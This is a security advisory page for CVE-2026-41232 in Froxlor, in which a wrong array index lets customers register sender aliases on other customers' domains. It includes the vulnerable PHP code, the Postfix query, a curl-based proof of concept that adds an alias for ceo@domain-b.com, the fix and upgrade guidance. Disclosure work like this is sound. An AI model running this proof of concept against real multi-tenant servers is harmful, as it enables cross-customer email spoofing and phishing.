CVE-2026-41232: Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing

Published Apr 16, 2026
·
Updated

Summary

In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's senderloginmaps then authorizes the attacker to send emails as those addresses.

Details

In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:

php // Line 96-106 if (substr($allowedsender, 0, 1) != '@') { if (!Validate::validateEmail($idnaconvert->encode($allowedsender))) { Response::standardError('emailiswrong', $allowedsender, true); } self::validateLocalDomainOwnership(explode("@", $allowedsender)[0] ?? ""); // BUG: [0] is the local part } else { if (!Validate::validateDomain($idnaconvert->encode(substr($allowedsender, 1)))) { Response::standardError('wildcardemailiswrong', substr($allowedsender, 1), true); } self::validateLocalDomainOwnership(substr($allowedsender, 1)); // CORRECT: passes domain }

For input admin@domain-b.com, explode("@", "admin@domain-b.com") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.

The validateLocalDomainOwnership() function (lines 346-355) then queries paneldomains for a domain matching "admin":

php private static function validateLocalDomainOwnership(string $domain): void { $selstmt = Database::prepare("SELECT customerid FROM " . TABLEPANELDOMAINS . " WHERE domain = :domain"); $domainresult = Database::pexecutefirst($selstmt, ['domain' => $domain]); if ($domainresult && $domainresult['customerid'] != CurrentUser::getField('customerid')) { Response::standardError('senderdomainnotowned', $domain, true); } }

Since no domain named "admin" exists in paneldomains, $domainresult is false, and the function returns without error — the ownership check silently passes.

The inserted mailsenderaliases row is then picked up by Postfix's senderloginmaps query (configured in mysql-virtualsenderpermissions.cf):

sql ... UNION (SELECT mailsenderaliases.email FROM mailsenderaliases WHERE mailsenderaliases.allowedsender = '%s') ...

This query maps the allowedsender back to the mail user, authorizing them to send as that address via SMTP.

PoC

bash Prerequisites: Froxlor instance with mail.enableallowsender enabled, two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)

Step 1: As Customer A, add a sender alias claiming Customer B's domain Via API: curl -X POST 'https://froxlor-host/api/v1/' \ -H 'Authorization: Basic <customer-A-credentials>' \ -H 'Content-Type: application/json' \ -d '{ "command": "EmailSender.add", "params": { "emailaddr": "myaccount@domain-a.com", "allowedsender": "ceo@domain-b.com" } }'

Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B Actual: 200 OK — alias is created because validateLocalDomainOwnership receives "ceo" (local part) instead of "domain-b.com" (domain)

Step 2: Verify the alias was inserted curl -X POST 'https://froxlor-host/api/v1/' \ -H 'Authorization: Basic <customer-A-credentials>' \ -H 'Content-Type: application/json' \ -d '{ "command": "EmailSender.listing", "params": {"emailaddr": "myaccount@domain-a.com"} }'

Step 3: Customer A can now send email as ceo@domain-b.com via SMTP because Postfix senderloginmaps will match the mailsenderaliases entry and authorize Customer A's mail account to use that sender address.

The same attack works via the web UI by POST-ing to customeremail.php with action=addsender and the target domain in alloweddomain.

Impact

Any authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:

- Cross-customer email spoofing: Send emails impersonating users on other customers' domains, bypassing Postfix's smtpdsenderloginmaps restriction that is specifically designed to prevent this. - Multi-tenant isolation breach: The domain ownership check (validateLocalDomainOwnership) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses. - Phishing and reputation damage: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.

Note: The wildcard (@domain) code path at line 105 is not affected — it correctly passes the domain to validateLocalDomainOwnership().

Recommended Fix

Change index [0] to [1] on line 100 of lib/Froxlor/Api/Commands/EmailSender.php:

php // Before (line 100): self::validateLocalDomainOwnership(explode("@", $allowedsender)[0] ?? "");

// After: self::validateLocalDomainOwnership(explode("@", $allowedsender)[1] ?? "");

This ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.

Other sources

Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing

— Packagist

Froxlor is open source server administration software. Prior to version 2.3.6, in EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's senderloginmaps then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue.

— MITRE

Affected Software

4 affected componentsFixes available
Froxlor Froxlor<2.3.6
Froxlor Froxlor<2.3.6
composer/froxlor/froxlor<2.3.6
2.3.6
composer/froxlor/froxlor<2.3.6
2.3.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/froxlor/froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.6
  2. Upgrade

    Upgrade Froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.6

Event History

Apr 16, 2026
Advisory Published
via GitHub·12:47 AM
Data Sourced
via GitHub·12:47 AM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·12:47 AM
DescriptionSeverityAffected Software
Apr 23, 2026
CVE Published
via MITRE·03:54 AM
Data Sourced
via MITRE·03:54 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41232?

CVE-2026-41232 has a high severity due to its ability to allow cross-customer email spoofing.

2

How do I fix CVE-2026-41232?

To fix CVE-2026-41232, upgrade to Froxlor version 2.3.6 or later.

3

What effects does CVE-2026-41232 have on Froxlor?

CVE-2026-41232 enables email spoofing, allowing malicious users to send emails as if they were from another customer.

4

Who is affected by CVE-2026-41232?

Any Froxlor users running versions prior to 2.3.6 are affected by CVE-2026-41232.

5

What causes the vulnerability in CVE-2026-41232?

CVE-2026-41232 is caused by a wrong array index used during domain ownership validation in the EmailSender component.

Contact

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